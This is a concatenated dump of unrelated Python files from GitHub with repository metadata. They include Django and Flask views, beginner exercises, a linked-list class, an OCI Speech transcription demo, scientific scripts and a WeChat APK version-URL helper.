render(request, 'watsonstt/formsettest.html', {'formset': wordformset})\n\n# when wanting to create both new word and new sounds at the same time..\ndef formsettest(request):\n SoundInlineFormSet = inlineformset_factory( Word, Sound, fields=('hksoundslike',) )\n if request.method == 'POST':\n wordform = WordForm( request.POST )\n wordid = wordform.save()\n formset = SoundInlineFormSet( request.POST, instance=wordid )\n if formset.is_valid():\n formset.save()\n return HttpResponse( 'formset test' )\n else:\n wordform = WordForm( )\n wordformset = SoundInlineFormSet()\n return render(request, 'watsonstt/formsettest2.html', {'form': wordform, 'formset': wordformset})\n\n\ndef formsettest0(request):\n if request.method == 'POST':\n return HttpResponse( 'formset test' )\n else:\n WordFormSet = formset_factory( WordForm, extra=2 )\n wordformset = WordFormSet()\n return render(request, 'watsonstt/formsettest.html', {'formset': wordformset})\n#################### formset test\n\n","repo_name":"hyunwoo18/webapp","sub_path":"project_angular_django_elastbeanstalk/hkebs_django/watsonstt/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":25438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14502085402","text":"\"\"\"\nPython Scenario Exercises\nExercise 1\nIn a company the monthly salary of an employee is calculated by: the minimum wage 400$ per\nmonth, plus 20$ multiplied by the number of years employed, plus 30$ for each child they have.\nCreate a program that:\n● Reads the number of years employed\n● Reads the number of children the employee has\n● Prints the total amount of salary the employee makes\nOutput: \"The total amount is 560$. 400$ minimum wage + 100$ for 5 years experience +\n60$ for 2 kids\"\n\"\"\"\n\n#Solution\n\nyears_employed = int(input(\"Enter the years employed: \"))\nnum_of_children = int(input(\"Enter the number of children per employee: \"))\n\nminimum_wage_per_month = 400\nsalary_per_year = 20\nsalary_per_child = 30\n\nif years_employed == 5:\n minimum_wage_per_month = minimum_wage_per_month + 100\nelif years_employed < 5:\n minimum_wage_per_month = minimum_wage_per_month + (years_employed * 60)\n\ntotal_salary = minimum_wage_per_month + (years_employed * salary_per_year) + (num_of_children * salary_per_child)\n\nprint(total_salary)","repo_name":"Lekunga-Elizabeth/Python-lectures","sub_path":"Python_Modules/exer3_wage.py","file_name":"exer3_wage.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40589538535","text":"# -*- coding: utf-8 -*-\n# __author__ = 'qinjincheng'\n\nimport logging\nimport os\n\nimport pandas as pd\nfrom Bio import SeqIO\nfrom biocluster.config import Config\nfrom biocluster.file import download\nfrom bson.objectid import ObjectId\n\nfrom mbio.packages.denovo_rna_v2.functions import watcher\n\n\n@watcher\ndef main(args):\n {'query': get_query, 'subject': get_subject}[args.subparsers](args)\n\n\n@watcher\ndef get_query(args):\n database = Config().get_mongo_client(mtype='denovo_rna_v2',db_version =args.version)[Config().get_mongo_dbname('denovo_rna_v2',db_version =args.version)]\n task_document = database['sg_task'].find_one({'task_id': args.task})\n if args.geneset != 'All':\n geneset_detail_document = database['sg_geneset_detail'].find_one({'geneset_id': ObjectId(args.geneset)})\n seq_list = geneset_detail_document['seq_list']\n output_dir = os.path.dirname(args.output)\n if args.unit == 'nucl':\n from_file = os.path.join(task_document['assembly_dir'],\n task_document['assembly_object'][{'T': 'filter', 'G': 'unigene'}[args.level]])\n to_file = os.path.join(output_dir, os.path.basename(from_file))\n logging.debug('start downing {} to {}'.format(from_file, to_file))\n download(from_file, to_file)\n if args.geneset == 'All':\n os.rename(to_file, args.output)\n else:\n logging.debug('start selecting required sequences from specified geneset')\n SeqIO.write([s for s in SeqIO.parse(to_file, 'fasta') if s.id in seq_list], args.output, 'fasta')\n elif args.unit == 'prot':\n s3_pep_file = os.path.join(task_document['assembly_dir'], task_document['assembly_object']['peptide'])\n my_pep_file = os.path.join(output_dir, os.path.basename(s3_pep_file))\n logging.debug('start downing {} to {}'.format(s3_pep_file, my_pep_file))\n download(s3_pep_file, my_pep_file)\n if args.geneset == 'All':\n os.rename(my_pep_file, args.output)\n else:\n s3_map_file = os.path.join(task_document['assembly_dir'], task_document['assembly_object']['map'])\n my_map_file = os.path.join(output_dir, os.path.basename(s3_map_file))\n logging.debug('start downing {} to {}'.format(s3_map_file, my_map_file))\n download(s3_map_file, my_map_file)\n seq_set = collect_required_peptide(my_map_file, args.level, seq_list)\n logging.debug('start selecting required sequences from specified geneset')\n SeqIO.write([s for s in SeqIO.parse(my_pep_file, 'fasta') if s.id in seq_set], args.output, 'fasta')\n\n\n# @watcher\ndef collect_required_peptide(map_file, exp_level, seq_list):\n data = list()\n for line in open(map_file):\n items = line.strip().split('\\t')\n if len(items) == 4:\n data.append(items + [str()])\n elif len(items) == 5:\n data.append(items)\n else:\n df = pd.DataFrame(data, columns=['transcript_id', 'gene_id', 'is_gene', 'length', 'peptide_ids'])\n expr = '{} in @seq_list'.format({'T': 'transcript_id', 'G': 'gene_id'}[exp_level])\n df = df.query(expr)\n peptide_id_set = set()\n peptide_id_set.update(*df['peptide_ids'].apply(lambda x: x.split(';')))\n peptide_id_set.remove(str())\n return peptide_id_set\n\n\n@watcher\ndef get_subject(args):\n database = Config().get_mongo_client(mtype='denovo_rna_v2',db_version =args.version)[Config().get_mongo_dbname('denovo_rna_v2',db_version =args.version)]\n task_document = database['sg_task'].find_one({'task_id': args.task})\n output_dir = os.path.dirname(args.output)\n from_file = os.path.join(task_document['assembly_dir'], task_document['assembly_object'][args.source])\n to_file = os.path.join(output_dir, os.path.basename(from_file))\n logging.debug('start downing {} to {}'.format(from_file, to_file))\n download(from_file, to_file)\n os.rename(to_file, args.output)\n\n\nif __name__ == '__main__':\n import argparse\n import sys\n\n parser = argparse.ArgumentParser(description='Obtain assembly fasta file')\n subparsers = parser.add_subparsers(dest='subparsers', help='sub-command help')\n\n parser_q = subparsers.add_parser('query', help='use file as query')\n parser_q.add_argument('--task', action='store', required=True,\n help='task id', metavar='', dest='task')\n parser_q.add_argument('--unit', action='store', choices=['nucl', 'prot'], required=True,\n help='sequence class', dest='unit')\n parser_q.add_argument('--level', action='store', choices=['T', 'G'], required=True,\n help='separator type', dest='level')\n parser_q.add_argument('--geneset', action='store', required=True,\n help='geneset id', metavar='', dest='geneset')\n parser_q.add_argument('--output', action='store', required=True,\n help='output file path', metavar='', dest='output')\n parser_q.add_argument('-v', '--version', dest='version', required=True, type=int, help='db_version')\n\n parser_s = subparsers.add_parser('subject', help='use file as subject')\n parser_s.add_argument('--task', action='store', required=True,\n help='task id', metavar='', dest='task')\n parser_s.add_argument('--source', action='store', choices=['filter', 'raw'], required=True,\n help='fasta file source', dest='source')\n parser_s.add_argument('--output', action='store', required=True,\n help='output file path', metavar='', dest='output')\n parser_s.add_argument('-v', '--version', dest='version', required=True, type=int, help='db_version')\n\n logging.basicConfig(format='%(asctime)s\\t%(name)s\\t%(levelname)s : %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S', level=logging.DEBUG)\n\n if len(sys.argv) > 1 and sys.argv[1] not in ['-h', '--help']:\n if sys.argv[1] in ['query', 'subject']:\n args = parser.parse_args()\n else:\n logging.error('unrecognized command ({})'.format(sys.argv[1]))\n sys.exit(-2)\n else:\n parser.print_help()\n sys.exit(-1)\n\n main(args)\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/packages/denovo_rna_v2/alignment/get_denovo_seq.py","file_name":"get_denovo_seq.py","file_ext":"py","file_size_in_byte":6220,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"9723284170","text":"#!/usr/bin/env python\n\nimport subprocess\nimport sys\nimport os\n\ndef getSHA256sumResult(path):\n \"\"\"\n Execute sha256sum command and extract result\n \"\"\"\n result = subprocess.run(['sha256sum', path], stdout=subprocess.PIPE)\n return result.stdout[0:64]\n \ndef getBinSumResult(binary,path):\n \"\"\"\n Execute binary checksum and extract result\n \"\"\"\n result = subprocess.run([binary,'checksum', path], stdout=subprocess.PIPE)\n return result.stdout[0:64]\n\ndef testChecksum(binary,path=\"./test/checksum\"):\n \"\"\"\n Test file checksum with bash command sha256sum\n \"\"\"\n files = []\n for r,d,f in os.walk(path):\n for file in f:\n if file.endswith(\".test\"):\n files.append(os.path.join(r,file))\n for file in files:\n if getBinSumResult(binary,file) != getSHA256sumResult(file):\n print(\"\\t[FAILED] \"+file)\n return False\n else:\n print(\"\\t[OK] \"+file)\n return True\n\nif len(sys.argv) != 2 :\n print(\"Usage : test.py \")\nelse:\n print(\"[Test] checksum\")\n if not testChecksum(sys.argv[1]):\n print(sys.stderr, \"Test failed\")\n exit(1)","repo_name":"g3rb0ise/hurricane","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35310819893","text":"# hts_motor.py\n# \n# Created: Michael Vegh, Jan 2014\n# Modified: Andrew Wendorff, Feb 2014 \n\n\n# ----------------------------------------------------------------------\n# Imports\n# ----------------------------------------------------------------------\n\nfrom SUAVE.Core import Units\nfrom SUAVE.Core import (\n Data, Container, Data_Exception, Data_Warning,\n)\n\n# ----------------------------------------------------------------------\n# Method\n# ----------------------------------------------------------------------\n\ndef hts_motor(max_power):\n \"\"\" weight = SUAVE.Methods.Correlations.Propulsion.hts_motor(max_power)\n Calculate the weight of a high temperature superconducting motor\n \n Inputs:\n max_power- maximum power the motor can deliver safely [Watts]\n \n Outputs:\n weight- weight of the motor [kilograms]\n \n Assumptions:\n calculated from fit of commercial available motors\n \n Source: [10] Snyder, C., Berton, J., Brown, G. et all\n 'Propulsion Investigation for Zero and Near-Zero Emissions Aircraft,' NASA STI Program,\n NASA Glenn, 2009.012\n \"\"\" \n\n # process\n weight=(1./2.2)*2.28*((max_power/1000.)**.6616) #weight in kg\n \n return weight","repo_name":"tyealy/SUAVE","sub_path":"trunk/SUAVE/Methods/Weights/Correlations/Propulsion/hts_motor.py","file_name":"hts_motor.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"73870150348","text":"lista = []\n\nfor valor in range(0,5):\n user = int(input('Tuper Number: '))\n\n if valor == 0 or user > lista[-1]:\n lista.append(user)\n print('Valor adicionado na ultima posição!\\n')\n \n else:\n pos = 0\n while pos < len(lista):\n if user <= lista[pos]:\n lista.insert(pos , user)\n print(f'Valor adicionado na posição {pos} !\\n')\n break \n pos += 1\n\nprint('-='*30)\nprint(f'os valores digitados foram {lista}')","repo_name":"JonnadabeSantos/Python-Training-Programming","sub_path":"Exercise/Guanabara/Three_World/List/Ordenar sem usar Sort() List.py","file_name":"Ordenar sem usar Sort() List.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73850972429","text":"#\n# OCI Speech Demo1\n# takes some wav files from a local dir and transcribe it using OCI Speech API\n# can be launched from your laptop, using api keys\n#\nimport argparse\nimport sys\nimport os\nfrom os import path\nfrom os.path import basename\nimport time\nimport glob\nimport json\nimport pandas as pd\n\nimport oci\nfrom ocifs import OCIFileSystem\n\n# the class incapsulate the Speech API, to simplify\nfrom speech_client import SpeechClient\n\nfrom utils import (\n check_lang_code,\n clean_directory,\n clean_bucket,\n get_ocifs,\n copy_files_to_oss,\n copy_json_from_oss,\n)\n\n#\n# global config\n#\nfrom config import (\n COMPARTMENT_ID,\n NAMESPACE,\n EXT,\n JSON_EXT,\n WAV_DIR,\n JSON_DIR,\n DEBUG,\n CSV_NAME,\n)\n\n# to check the param for the lang_code\nDICT_LANG_CODES = {\"it\": \"it-IT\", \"en\": \"en-GB\", \"es\": \"es-ES\", \"fr\": \"fr-FR\"}\n\n# end global config\n\n\n#\n# Functions\n#\ndef parser_add_args(parser):\n parser.add_argument(\n \"--job_prefix\",\n type=str,\n required=True,\n help=\"Job name and prefix\",\n )\n parser.add_argument(\n \"--audio_dir\",\n type=str,\n required=False,\n help=\"Input dir for wav or flac files\",\n )\n parser.add_argument(\n \"--input_bucket\",\n type=str,\n required=True,\n help=\"Input bucket\",\n )\n parser.add_argument(\n \"--output_bucket\",\n type=str,\n required=True,\n help=\"Output bucket\",\n )\n parser.add_argument(\n \"--language_code\",\n type=str,\n required=True,\n help=\"Language code (ex: it-IT)\",\n )\n parser.add_argument(\n \"--save_csv\",\n type=str,\n required=False,\n choices={\"yes\", \"no\"},\n help=\"If yes, create csv with output\",\n )\n\n return parser\n\n\ndef print_args(args):\n print()\n print(\"*** Command line arguments ***\")\n print(f\"JOB prefix: {args.job_prefix}\")\n print(f\"INPUT_BUCKET: {args.input_bucket}\")\n print(f\"OUTPUT_BUCKET: {args.output_bucket}\")\n print(f\"LANGUAGE_CODE: {args.language_code}\")\n print()\n\n\ndef visualize_transcriptions():\n list_local_json = sorted(glob.glob(path.join(JSON_DIR, f\"*.{JSON_EXT}\")))\n\n for f_name in list_local_json:\n only_name = basename(f_name)\n\n # build a nicer name, remove PREFIX and .json\n # OCI speech add this PREFIX, we remove it\n PREFIX = NAMESPACE + \"_\" + INPUT_BUCKET + \"_\"\n only_name = only_name.replace(PREFIX, \"\")\n only_name = only_name.replace(f\".{JSON_EXT}\", \"\")\n\n print(f\"Audio file: {only_name}\")\n with open(f_name) as f:\n d = json.load(f)\n # print only the transcription\n print(d[\"transcriptions\"][0][\"transcription\"])\n print()\n\n\ndef save_csv():\n list_local_json = sorted(glob.glob(path.join(JSON_DIR, f\"*.{JSON_EXT}\")))\n\n file_names = []\n list_txts = []\n\n for f_name in list_local_json:\n only_name = basename(f_name)\n\n # build a nicer name, remove PREFIX and .json\n # OCI speech add this PREFIX, we remove it\n PREFIX = NAMESPACE + \"_\" + INPUT_BUCKET + \"_\"\n only_name = only_name.replace(PREFIX, \"\")\n only_name = only_name.replace(f\".{JSON_EXT}\", \"\")\n\n file_names.append(only_name)\n with open(f_name) as f:\n d = json.load(f)\n # print only the transcription\n list_txts.append(d[\"transcriptions\"][0][\"transcription\"])\n\n # create a pandas DataFrame for easy save to csv\n dict_result = {\"file_name\": file_names, \"txt\": list_txts}\n\n df_result = pd.DataFrame(dict_result)\n\n # save csv\n df_result.to_csv(CSV_NAME, index=None)\n\n\n#\n# Main\n#\n\n# command line parms\nparser = argparse.ArgumentParser()\nparser = parser_add_args(parser)\nargs = parser.parse_args()\nprint_args(args)\n\nJOB_PREFIX = args.job_prefix\nDISPLAY_NAME = JOB_PREFIX\nINPUT_BUCKET = args.input_bucket\nOUTPUT_BUCKET = args.output_bucket\n\n\n# check that LANGUAGE_CODE is correct\nif check_lang_code(args.language_code, DICT_LANG_CODES):\n # example \"it-IT\"\n LANGUAGE_CODE = args.language_code\nelse:\n print(\"Invalid LANGUAGE_CODE, valid values are:\")\n\n for key, value in DICT_LANG_CODES.items():\n print(value)\n print()\n\n # EXIT\n sys.exit(-1)\n\nif args.audio_dir is not None:\n # get wav_dir from command line\n AUDIO_DIR = args.audio_dir\n\nif args.save_csv is not None:\n if args.save_csv == \"yes\":\n SAVE_CSV = True\n\nprint(\"*** Starting JOB ***\")\nprint()\n\n# copy all files contained in DIR_WAV in INPUT_BUCKET\n#\n\n# This code try to get an instance of OCIFileSystem\nfs = get_ocifs()\n\n# first: clean bucket destination\nclean_bucket(fs, INPUT_BUCKET)\n\n# copy files to process to input bucket\nFILE_NAMES = copy_files_to_oss(fs, AUDIO_DIR, INPUT_BUCKET)\n\n#\n# Launch the job\n#\n\n# the class that incapsulate OCI Speech API\nspeech_client = SpeechClient()\n\n# prepare the request\ntranscription_job_details = speech_client.create_transcription_job_details(\n INPUT_BUCKET,\n OUTPUT_BUCKET,\n FILE_NAMES,\n JOB_PREFIX,\n DISPLAY_NAME,\n LANGUAGE_CODE,\n)\n\n# create and launch the transcription job\ntranscription_job = None\nprint(\"*** Create transcription JOB ***\")\nt_start = time.time()\n\ntry:\n transcription_job = speech_client.create_transcription_job(\n transcription_job_details\n )\n\n # get the job id for later\n JOB_ID = transcription_job.data.id\n\n print(f\"JOB ID is: {transcription_job.data.id}\")\n print()\nexcept Exception as e:\n print(e)\n\n# WAIT while JOB is in progress\nfinal_status = speech_client.wait_for_job_completion(JOB_ID)\n\nt_ela = time.time() - t_start\n\n#\n# Download the output from JSON files\n#\n# clean local dir\nif final_status == \"SUCCEEDED\":\n clean_directory(JSON_DIR, JSON_EXT)\n\n # get from JOB\n OUTPUT_PREFIX = transcription_job.data.output_location.prefix\n\n copy_json_from_oss(fs, JSON_DIR, JSON_EXT, OUTPUT_PREFIX, OUTPUT_BUCKET)\n\n # visualizing all the transcriptions\n # get the file list\n print()\n print(\"*** Visualizing transcriptions ***\")\n print()\n visualize_transcriptions()\n\n if SAVE_CSV:\n # save file_names, transcriptions in csv (result.csv)\n save_csv()\n\n print()\n print(f\"Processed {len(FILE_NAMES)} files...\")\n print(f\"Total execution time: {round(t_ela, 1)} sec.\")\n print()\nelse:\n print()\n print(\"Error in JOB execution, failed!\")\n print()\n","repo_name":"luigisaetta/oci-speech-demos","sub_path":"demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":6389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"9704925094","text":"class Node:\n \"\"\"Klasa reprezentująca węzeł listy jednokierunkowej.\"\"\"\n\n def __init__(self, data=None, next=None):\n self.data = data\n self.next = next\n\n def __str__(self):\n return str(self.data) # bardzo ogólnie\n\n\nclass SingleList:\n \"\"\"Klasa reprezentująca całą listę jednokierunkową.\"\"\"\n\n def __init__(self):\n self.length = 0 # nie trzeba obliczać za każdym razem\n self.head = None\n self.tail = None\n\n def is_empty(self):\n # return self.length == 0\n return self.head is None\n\n def count(self): # tworzymy interfejs do odczytu\n return self.length\n\n def insert_head(self, node):\n if self.head: # dajemy na koniec listy\n node.next = self.head\n self.head = node\n else: # pusta lista\n self.head = self.tail = node\n self.length += 1\n\n def insert_tail(self, node): # klasy O(N)\n if self.head: # dajemy na koniec listy\n self.tail.next = node\n self.tail = node\n else: # pusta lista\n self.head = self.tail = node\n self.length += 1\n\n def remove_head(self): # klasy O(1)\n if self.is_empty():\n raise ValueError(\"pusta lista\")\n node = self.head\n if self.head == self.tail: # self.length == 1\n self.head = self.tail = None\n else:\n self.head = self.head.next\n node.next = None # czyszczenie łącza\n self.length -= 1\n return node # zwracamy usuwany node\n\n # ... inne metody ...\n\n def remove_tail(self): # klasy O(N)\n ''' Zwraca cały węzeł, skraca listę. Dla pustej listy rzuca wyjątek ValueError. '''\n if self.is_empty():\n raise ValueError(\"pusta lista\")\n removed = self.tail\n if self.head == self.tail: # self.length == 1\n self.head = self.tail = None\n else:\n node = self.head\n while node.next.next:\n node = node.next\n node.next = None\n self.tail = node\n self.length -= 1\n return removed\n\n def merge(self, other): # klasy O(1)\n ''' Węzły z listy other są przepinane do listy self na jej koniec. Po zakończeniu operacji lista other ma być pusta. '''\n if other.is_empty():\n raise ValueError(\"pusta lista\")\n if self != other:\n self.tail.next = other.head\n self.tail = other.tail\n self.length += other.length\n other.head = None\n other.tail = None\n other.length = 0\n\n def clear(self):\n ''' czyszczenie listy '''\n self.head = None\n self.tail = None\n self.length = 0\n\n def search(self, data): # klasy O(N)\n ''' Zwraca łącze do węzła o podanym kluczu lub None. '''\n node = self.head\n while node != None:\n if node.data == data:\n return node\n node = node.next\n return None\n\n def find_min(self): # klasy O(N)\n ''' Zwraca łącze do węzła z najmniejszym kluczem lub None dla pustej listy.'''\n if self.is_empty():\n return None\n min = self.head\n node = self.head\n while node != None:\n if node.data < min.data:\n min = node\n node = node.next\n return min\n\n def find_max(self): # klasy O(N)\n ''' Zwraca łącze do węzła z największym kluczem lub None dla pustej listy.'''\n if self.is_empty():\n return None\n max = self.head\n node = self.head\n while node != None:\n if node.data > max.data:\n max = node\n node = node.next\n return max\n\n def reverse(self): # klasy O(N)\n ''' Odwracanie kolejności węzłów na liście. '''\n node = self.head\n before = None\n while node:\n tmp = node.next\n node.next = before\n before = node\n node = tmp\n node = self.tail\n self.tail = self.head\n self.head = node\n\n\n\n\nalist = SingleList()\nalist.insert_head(Node(11)) # [11]\nalist.insert_tail(Node(22)) # [22, 11]\nalist.insert_tail(Node(33)) # [11, 22, 33]\n\nblist = SingleList()\nblist.insert_head(Node(44)) # [44]\nblist.insert_tail(Node(55)) # [44, 55]\nblist.insert_tail(Node(66)) # [44, 55, 66]\n\nblist.reverse() # [66, 55, 44]\nalist.merge(blist) # [11, 22, 33] + [66, 55, 44]\n\nprint(\"find_min [11, 22, 33, 66, 55, 44] = {}\".format(alist.find_min()))\nprint(\"find_max [11, 22, 33, 66, 55, 44] = {}\".format(alist.find_max()))\nprint(\"search 11 = {}\".format(alist.search(11)))\nprint(\"search 100 = {}\\n\".format(alist.search(100)))\n\n\nwhile not alist.is_empty():\n print(\"length {}\".format(alist.length))\n print(\"remove tail {}\".format(alist.remove_tail()))\n\n\nclist = SingleList()\nclist.insert_head(Node(1))\nclist.clear()\nprint(\"\\ndlugosc clist po clear:\", clist.count())","repo_name":"robal852/zadaniaPython2020","sub_path":"Zestawy_Zaliczone/zestaw 9/zadania_9_1_2.py","file_name":"zadania_9_1_2.py","file_ext":"py","file_size_in_byte":4966,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"31647553518","text":"import gin, os\nfrom PIL import Image\nfrom visual_inference.model_inference import ModelInference\nfrom visual_inference.hybrid_inference import HybridInference\nfrom visual_inference.fitting_inference import FittingInference\nfrom TF_cloth2d.models.model_VGG_STN_2 import Model_STNv2\nimport numpy as np\nimport pdb\n\ninference_type = 'hybrid'\n\nif inference_type == 'model':\n gin.parse_config_files_and_bindings(['/scr-ssd/mengyuan/visual_inference/model_inference.gin'], [], finalize_config=False)\n gin.bind_parameter('ModelInference.snapshot', './train_real_ours_with_occlusion_pretrain_simseq_STNv2_consistency/model-45')\n inferencer = ModelInference()\nelif inference_type == 'hybrid':\n gin.parse_config_files_and_bindings(['/scr-ssd/mengyuan/visual_inference/hybrid_inference.gin'], [], finalize_config=False)\n gin.bind_parameter('HybridInference.snapshot', './train_real_ours_with_occlusion_pretrain_simseq_STNv2_consistency/model-45')\n inferencer = HybridInference()\n inferencer.memory=False\nelse:\n inferencer = FittingInference()\n\nfor r in range(1,28):\n root = '/scr1/mengyuan/data/real_rope_with_occlusion-new/run_%d'%(r)\n #root = '/scr-ssd/mengyuan/TF_cloth2d/STN_imageloss/MPC_m_trial_0/iter_0_trial_1'\n data = np.load(os.path.join(root, 'history.npz'))\n masks = data['masks']\n i = 0\n prev_pred = None\n perceptions = []\n while os.path.exists(os.path.join(root, '%02d.png'%(i))):\n image = Image.open(os.path.join(root, '%02d.png'%(i)))\n image.save('paperfig-image.png')\n mask = (1.0-masks[i])*255\n im_mask = Image.fromarray(mask.astype(np.uint8))\n im_mask.save('paperfig-mask.png')\n image=np.array(image)\n if inference_type == 'fitting' and i==0:\n inferencer.set_guess(image)\n if inference_type == 'model':\n pred_physical_state=inferencer.inference(image, render=True, prev_pred=prev_pred)\n else:\n pred_physical_state=inferencer.inference(image, mask=None, render=False, prev_pred=prev_pred)\n perceptions.append(pred_physical_state)\n prev_pred = pred_physical_state.copy()\n prev_pred[:,0] -= 0.5\n prev_pred[:,1] *= -1.0\n prev_pred = -prev_pred * 2.0\n i += 1\n print(i)\n np.savez(os.path.join(root, 'history_perception.npz'), perception=np.array(perceptions), actions=data['actions'], masks=data['masks'])\n","repo_name":"myyan92/TF_cloth2d","sub_path":"STN_imageloss/inference_sequence.py","file_name":"inference_sequence.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"15261991569","text":"from flask import Blueprint, render_template\nfrom flask_login import login_required\nfrom ..db import db\n\nadmin_panel_pb = Blueprint('admin_panel', __name__, template_folder=\"templates\", static_folder=\"static\",\n static_url_path='/admin_panel/static')\nusers_db = db['Users']\n\n\n@admin_panel_pb.route('/admin_panel', endpoint='index', methods=['GET'])\n@login_required\ndef admin():\n simple_users = users_db.find({\"category\": \"user\"})\n simple_users = list(simple_users)\n\n return render_template('admin_panel/admin_panel.html', users=simple_users)\n","repo_name":"P4yBill/MovieFlix","sub_path":"flask-app/app/routes/admin_panel/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71976222987","text":"from peewee import DateTimeField, TextField\n\nfrom ...db import db\nfrom ...enums import TransferAgreementState, TransferAgreementType\nfrom ..fields import EnumCharField, UIntForeignKeyField\nfrom ..utils import utcnow\nfrom .organisation import Organisation\nfrom .user import User\n\n\nclass TransferAgreement(db.Model):\n source_organisation = UIntForeignKeyField(model=Organisation, on_update=\"CASCADE\")\n target_organisation = UIntForeignKeyField(model=Organisation, on_update=\"CASCADE\")\n state = EnumCharField(\n choices=TransferAgreementState,\n default=TransferAgreementState.UnderReview,\n )\n type = EnumCharField(choices=TransferAgreementType)\n requested_on = DateTimeField(default=utcnow)\n requested_by = UIntForeignKeyField(\n model=User,\n column_name=\"requested_by\",\n field=\"id\",\n on_update=\"CASCADE\",\n )\n accepted_on = DateTimeField(null=True)\n accepted_by = UIntForeignKeyField(\n model=User,\n column_name=\"accepted_by\",\n field=\"id\",\n on_update=\"CASCADE\",\n on_delete=\"SET NULL\",\n null=True,\n )\n terminated_on = DateTimeField(null=True)\n terminated_by = UIntForeignKeyField(\n model=User,\n column_name=\"terminated_by\",\n field=\"id\",\n on_update=\"CASCADE\",\n on_delete=\"SET NULL\",\n null=True,\n )\n valid_from = DateTimeField(default=utcnow)\n valid_until = DateTimeField(null=True)\n comment = TextField(null=True)\n\n class Meta:\n legacy_table_names = False\n","repo_name":"boxwise/boxtribute","sub_path":"back/boxtribute_server/models/definitions/transfer_agreement.py","file_name":"transfer_agreement.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"82"} +{"seq_id":"11323263898","text":"import bisect\nfrom distutils.version import StrictVersion\nimport re\n\nfrom bs4 import BeautifulSoup\nimport demjson\nimport requests\n\n\nclass VersionHelper(object):\n\n version_list_url = 'https://weixin.qq.com/cgi-bin/readtemplate?lang=zh_CN&t=weixin_faq_list'\n\n def __init__(self, platform='Android'):\n self.db_dict = {}\n self.db_list = []\n self.db_loaded = False\n self.all_versions = []\n self.all_versions_loaded = False\n self.platform = platform\n\n def get_newest_version(self):\n resp = requests.get(self.version_list_url)\n soup = BeautifulSoup(resp.text, \"html.parser\")\n\n def is_android_version(tag):\n return True if re.match(r'.* ((\\d+\\.)+\\d+) for Android', str(tag.string)) is not None else False\n\n tag_a = soup.find(is_android_version)\n return re.match(r'.* ((\\d+\\.)+\\d+)', str(tag_a)).groups()[0]\n\n def get_all_versions(self):\n if self.all_versions_loaded:\n return self.all_versions\n\n resp = requests.get(self.version_list_url)\n soup = BeautifulSoup(resp.text, \"html.parser\")\n\n def is_android_version(tag):\n return True if re.match(r'.* ((\\d+\\.)+\\d+) for Android', str(tag.string)) is not None else False\n\n tags_a = soup.find_all(is_android_version)\n tags_a.reverse()\n self.all_versions = [re.match(r'.* ((\\d+\\.)+\\d+)', str(tag_a)\n ).groups()[0] for tag_a in tags_a]\n\n self.all_versions = ['{}.0'.format(v) if re.match(\n r'^\\d+\\.\\d+$', v) else v for v in self.all_versions]\n\n self.all_versions_loaded = True\n return self.all_versions\n\n def get_url_for_version(self, version):\n '''\n E.g. http://dldir1.qq.com/weixin/android/weixin666android1300.apk\n\n Side effect: will change local database.\n '''\n\n if not self.all_versions_loaded:\n self.get_all_versions()\n\n if version not in self.all_versions:\n return None\n\n target_url_fmt = 'http://dldir1.qq.com/weixin/android/weixin{}android{}.apk'\n\n if not self.db_loaded:\n self.load_db('./database.json')\n\n if version in self.db_dict:\n return target_url_fmt.format(version.replace('.', ''), self.db_dict[version])\n\n index = bisect.bisect_right(self.db_list, StrictVersion(version))\n\n if index < len(self.db_list):\n up_ver = '.'.join(map(lambda v: str(v), self.db_list[index].version))\n up_code = self.db_dict[up_ver]\n\n violent_low = 1\n violent_high = up_code - 1\n\n short_ver = version.replace('.', '')\n up_code -= 20\n while up_code > 0:\n target_url = target_url_fmt.format(short_ver, up_code)\n resp = requests.head(target_url)\n if resp.status_code == requests.codes.not_found:\n up_code -= 20\n continue\n self.__update_local_db(version, up_code)\n return target_url\n\n while violent_high > violent_low:\n target_url = target_url_fmt.format(short_ver, violent_high)\n resp = requests.head(target_url)\n if resp.status_code == requests.codes.not_found:\n violent_high -= 1\n continue\n self.__update_local_db(version, violent_high)\n return target_url\n\n else:\n server_newest_ver = StrictVersion(self.all_versions[-1])\n if StrictVersion(version) > server_newest_ver:\n return None\n\n local_largest_ver = str(self.db_list[-1])\n local_largest_ver_index = self.all_versions.index(\n local_largest_ver)\n target_ver_index = self.all_versions.index(version)\n target_ver_code = (\n target_ver_index - local_largest_ver_index) * 20 + self.db_dict[local_largest_ver]\n target_url = target_url_fmt.format(short_ver, target_ver_code)\n\n resp = requests.head(target_url)\n if resp.status_code == requests.codes.ok:\n self.__update_local_db(version, target_ver_code)\n return target_url\n return None\n\n def is_version_exist(self, version):\n if not self.all_versions_loaded:\n self.get_all_versions()\n return version in self.all_versions\n\n def load_db(self, db_file):\n db = demjson.decode_file(db_file)\n for ver_code in db:\n self.db_list.append(StrictVersion(ver_code['version']))\n self.db_dict[ver_code['version']] = ver_code['code']\n\n self.db_list.sort()\n self.db_loaded = True\n\n def __update_local_db(self, version, code):\n self.db_dict[version] = code\n 